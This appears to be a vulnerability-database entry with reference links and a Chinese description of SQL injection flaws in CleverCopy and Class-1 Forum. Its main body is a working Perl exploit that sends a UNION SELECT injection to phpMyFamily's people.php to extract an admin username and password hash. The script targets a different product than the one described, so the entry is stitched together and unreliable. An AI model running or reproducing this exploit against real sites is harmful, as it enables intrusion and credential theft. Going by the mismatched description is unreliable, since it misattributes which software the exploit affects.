https://www.exploit-db.com/exploits/1208
https://www.securityfocus.com/bid/89015
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200507-216

CleverCopy是一款免费的站点架构和新闻发布程序。Class-1Forum0.24.4和0.23.2以及安装了论坛的CleverCopy存在多个SQL注入漏洞。远程攻击者可以通过(1)viewattach.php的id参数、(2)users.php的viewuser_id参数或viewforum.php的(3)id或(4)forum参数修改SQL语句。

#!/usr/bin/perl -w
# phpMyFamily Exploit injection
# ==============================
$banner = "phpMyFamily Exploit injection nn==============================
nnINFGPG-Hacking&Security Research";
# 
# Greats: AresU (1st IndoSec Team),ADZ Security Team (has discovered bugs)
# Info: 98.to/infamous

use IO::Socket;
if ($#ARGV<0){
print "n$banner";
print "nn Usage: perl phpMyFamily.pl [host] [path] nn";
exit;}

$gen="%20UNION%20SELECT%20NULL,password,NULL,username,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20family_users%20%20WH
ERE%20admin='Y'%20LIMIT%201,1"; # This selects first admin with login &
password hash :)

$serius="GET $ARGV[1]/$ARGV[2]/people.php?person=00002'$gen HTTP/1.0rnrn";
$muka=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$ARGV[0]",PeerPort=>"80")
or die "$ARGV[0]Connection Failed !!nn";

$muka -> autoflush(1);
print $muka "$serius";   
print "[*]Sending exploit DONE nn";            
sleep(7);
close($muka);

# milw0rm.com [2005-03-27]

Clever Copy Clever Copy 0

class-1 Class-1 Forum 0.24.4

class-1 Class-1 Forum 0.23.2

来源:SECTRACK
名称:1014486
链接:http://securitytracker.com/id?1014486
来源:SECTRACK
名称:1014485
链接:http://securitytracker.com/id?1014485
来源:SECUNIA
名称:16078
链接:http://secunia.com/advisories/16078
来源:MISC
链接:http://lostmon.blogspot.com/2005/07/class-1-forum-software-cross-site.html